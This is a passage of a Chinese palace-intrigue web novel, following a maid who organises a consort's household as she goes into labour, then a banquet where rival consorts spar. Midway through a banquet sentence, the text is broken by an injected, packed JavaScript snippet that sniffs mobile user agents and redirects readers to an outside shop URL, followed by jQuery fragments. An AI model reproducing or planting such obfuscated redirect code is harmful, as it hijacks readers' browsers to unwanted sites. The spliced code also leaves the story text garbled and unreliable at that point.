谢秋霜正在告知明双和雪梨一些侍奉凌充容的注意事项,诸如凌清禾沐浴时最舒适的水温、每日哪个时辰应当开窗又是哪个时辰闭窗之类的小事。
事实证明,有了明双和雪梨这两个跑腿的之后,她和采荷轻松了许多。
茯苓则交给了徐嬷嬷带,如今也已经上手了。徐嬷嬷想的要多些,她信任茯苓,却又没有那么信任,所以虽然茯苓管着宫人的吃穿用度,但笼络人心的机会还是牢牢的掌握在她自己手中。
心思简单的茯苓对此没有什么想法,她做事一板一眼的,恨不得将每件事对应的时辰都记录在册,谢秋霜去看了一回,叹为观止。
她是做不到这样严谨的,于是乎看向眼前的明双和雪梨,她的表情都变得和善起来。
“秋霜姐!!!”门外突然响起采荷急切的声音,打断了耳房里头或说或听的三个人。
谢秋霜的心陡然提了起来,这么久了,她可是第一次听到平日里宠辱不惊的采荷发出这样的声音。
因为明双和雪梨都住在同一间随侍宫女的三人间通铺,采荷甚至不需要敲门,就能直驱而入。
她着急地拉着谢秋霜的袖子道:“秋霜姐,娘娘怕是要发作了!我已经派人去通知了徐嬷嬷和金公公,梧桐也守在那里,你快去主持大局罢。”
果然如此,谢秋霜几乎没有犹豫地就跟着采荷夺门而出,跑了几步想起来被遗落在后头的明双和雪梨,来不及回头,便直接大喊道:“你们两个也跟过来!”
主殿内,徐嬷嬷来得要早一些,已经带着人将凌清禾送去了产房,一群人围在主殿的桌子前,忧虑得不知道该做些什么。
“发作离生产还有一段时间,秋霜,我这边就带人看守产房,门外的事情便交给你来处理。”徐嬷嬷倒是比她们都从容许多,招呼着茯苓去请住在永宁宫里的稳婆。
谢秋霜见她面色平定,心也就静了下来……实则不然,她只觉得自己的心都要“砰砰砰”跳出胸膛了。
一阵寒风吹来,她深吸一口气,总算是忽略掉了自己无由来的紧张,指着乐山道:“稳婆虽然有侯府的人,但是毕竟那里人来人往,乐山,你带着……”
她的眼神环视一周,落在相比之下更为稳重的雪梨身上,顿了顿继续说道:“你带着雪梨,从现在起寸步不离地盯着娘娘,我会叫锦秋和七红来替你们,除此以外的任何人叫你们离开都不必听从。”
“您是担心?”乐山心思流转,刚刚还因为紧张温热的身子瞬间犹如一盆冷水浇了下来。
谢秋霜叹了口气:“毕竟稳婆和嬷嬷都有宫里来的人,那些人我们不知跟脚,必须得防。你们也不要太过于担忧,只是防备于未然而已,应该不会真的出什么事的。”
话虽如此,得了令的乐山依然一脸凝重地带着脸色有些发白的雪梨前去了产房。
“梧桐,”谢秋霜立刻扭头,从身边最近的人一个个吩咐下去,“你速去叫小厨房准备写清淡饱腹的食物,要好吞咽的,给娘娘补充力气,防止娘娘突然饿了。李御厨和齐御厨应当心里有数,你去盯着送来便是。”
梧桐没多说什么,点头便跑走了。
谢秋霜随即看向采荷:“你去守在产房外头,不得让任何闲杂人等靠近。”
之后是香菱,她跺了跺脚,抢先说道:“我去准备一会儿会用到的布和被子,防止娘娘着凉。”
“还有温水和襁褓。”谢秋霜想了想,补充道。
眼前只剩下乐水和明双,还没等她吩咐下去,就见金公公从远处气喘吁吁地跑过来,还差点踢到石头摔了一跤。
谢秋霜连忙上前扶起他道:“金公公,你可悠着些,这才刚开始呢。”
“是我心急了。”金公公拍了拍身上的灰,抬着脑袋往产房那边瞅了好几眼,谢秋霜也回头瞧了一眼,采荷正守在那里,其他人端着水盆进进出出的,十分有序。
她收回目光,嘱咐道:“金公公,你须得亲自跑一趟乾清宫,若是见不到王公公便告知于周公公,眼下虽然才午时,但生产应该会等到傍晚,无需太过着急。”
金公公点点头:“宫门处我已经派了小桌子和小凳子守着了,暂时封闭了宫人进出,且放心罢。”
谢秋霜点点头,随即不由得精神歪了歪,小桌子和小凳子也算是金公公的得力手下,之后若是更进一步应当如何称呼,难道是桌公公和凳公公吗?
“秋霜姐?”乐水扯了扯她的袖子,谢秋霜这才回过神来,发现金公公已经提着衣摆沿着来时的路跑走了,背影显得紧张而喜悦。
很矛盾的感受,一如她此时的心境。
“明双,你去将宫人们都召回自己的住所,只留下产房需要的即可。”谢秋霜收敛心神,继续道,“具体事宜你与茯苓一起去做,那些出宫去办事的宫人,你们拿着名册去宫门口接回住处,之后就不必再让她们出来了。”
这是明双成为随侍宫女以来被派遣去做的第一个除了端茶倒水洒扫卫生的活计,眼里一亮,随即应下去找茯苓了。
至于剩下的乐水,谢秋霜笑了笑:“早先时候我们已然计划好了今日应做之事,如今你有几分把握?”
“六七分。”乐水咬咬唇,“若是姐姐在能有七八分。”
“无妨,锦秋和七红是去取小主子所用的襁褓了,很快便会过来将乐水替出来。”谢秋霜拍拍她的肩膀,“倒时你与她一同做便是。至于现在,你先派人去给严美人和容婕妤那边递消息,不要走宫门,要隐蔽些。”
乐水摇头:“我已与留在外头的暗线约定好,若宫门严守超过半柱香的时间,我还没有出现在宫门附近,便是娘娘要生产,就无需我再多走几步了。”
谢秋霜了然,认可道:“如此甚好,只要你们有把握就行了。”
*
九月中旬,正是秋冬交接之际,宫妃们为了保暖,将宴会定在了一处暖阁之内,丝竹乐响起,又是一阵靡靡之音。
端茶倒水的宫女们来来往往,倒是没有人会注意到这些毫不起眼的宫人们究竟从哪儿来,又在谁的身边停留,亦或是,与谁耳语了几句。
席间安静只是,严美人忽然站起,举起茶碗笑道:“这几个月来天气渐凉,偏偏贵妃姐姐在今日宴请我等。既是贵妃姐姐钦
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16818657|179715||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
点,自然是个福气万分的日子。”
贵妃只当她是在拍马屁,但记得她的晋升似乎与凌清禾那个女人脱不了干系,故而皮笑肉不笑地说道:“你倒是会说话。”
“臣妾只是实话实说,宫里您的身份为尊,堪比真凤,能被您选上的日子定然不凡。”严美人像是没瞧出来贵妃的异色,笑着回复道。
瑾昭媛嗤笑:“堪比真凤,也亏你说得出来,本宫为何觉得今日无福呢?”
“只怕是昭媛妹妹无福消受罢。”相比一个美人,贵妃对呛瑾昭媛的话更感兴趣。
瑾昭媛气急,正欲反驳,只见在此场合向来不爱说话的容婕妤却蓦然站起了身子,双手指着琴女手中的那张琴。
“那张琴可是大圣遗音?”她地声音不大不小,恰巧能让在此间嘈杂中坐在正上首的贵妃听到。
贵妃挑眉:“正是大圣遗音,姑母赠予本宫的。怎么,容婕妤妹妹想试一试么?”
她不觉得容婕妤会答应,毕竟宫里谁不知道,自从二皇子被送到她的膝下之后,容婕妤就再也没有当众弹过古琴。
不曾想容婕妤眼神微亮,却是应了下来,几步走到那把大圣遗音之前,双手轻抚琴弦,便是一阵如泣如诉的音律萦绕殿内,将贵妃未出口的话语给尽数“弹”了回去。
贤妃微皱眉头,瞧了瞧自家堂妹幸灾乐祸的笑容,面上有些古怪,朝后招手,吩咐了几句话下去。
一曲毕,容婕妤才站起身子,微微欠身行礼。
“婕妤妹妹的琴音还是如此动听,如此听下来,刚刚那些所谓琴女的技艺都要黯然失色。”贵妃笑道。
瑾昭媛自然不会让贵妃的话不落在地上,佯装打抱不平:“贵妃姐姐怎么能将那些个卖艺的与婕妤妹妹相比?依本宫看,容妹妹的技艺炉火纯青,这么久未练依然不见生涩,今日得以听到,的确是个有福气的日子。”
“这可是本宫选的日子,怎么,昭媛妹妹也觉得今日有福?”这回贵妃的脸上的笑容倒是发自内心,笑这王梓瑾不会说话。
贤妃见瑾昭媛还欲争吵,便先开口问道:“婕妤妹妹,此曲婉转,本宫之前从未听过,不止叫何名字?”
“臣妾得闲时自己谱的曲,尚未取名。”容婕妤笑了笑,“既然各位姐姐都说今日有福气,便叫之如天罢。”
“如天之福么?”贵妃瞅了一眼气急败坏的瑾昭媛,仰头大笑,“的确是一个好名字。”
此时忽然从殿外跑过来一个小太监,从屏风后头一路穿行至上首,凑到她的耳边低语了几句,笑容便僵在了脸上。
贵妃阴沉不定地看了一眼边上坐着的二人,贤妃老神在在,瑾昭媛柳眉倒竖,不像是知道些什么。
她复又若有所思地看向最开始提到福字的严美人和忽然出来弹琴的容婕妤,后者因为无人与之攀谈,念念不舍地摸了几下大圣遗音的琴弦,这才坐回原位。
“诸位,”贵妃扯了扯嘴角,“本宫乏了,今儿就到这里罢。”
等各位宫妃回到自己的宫中,听到永宁宫的动静,心里头第一时间想到的便是——今儿还真是个有福气的日子。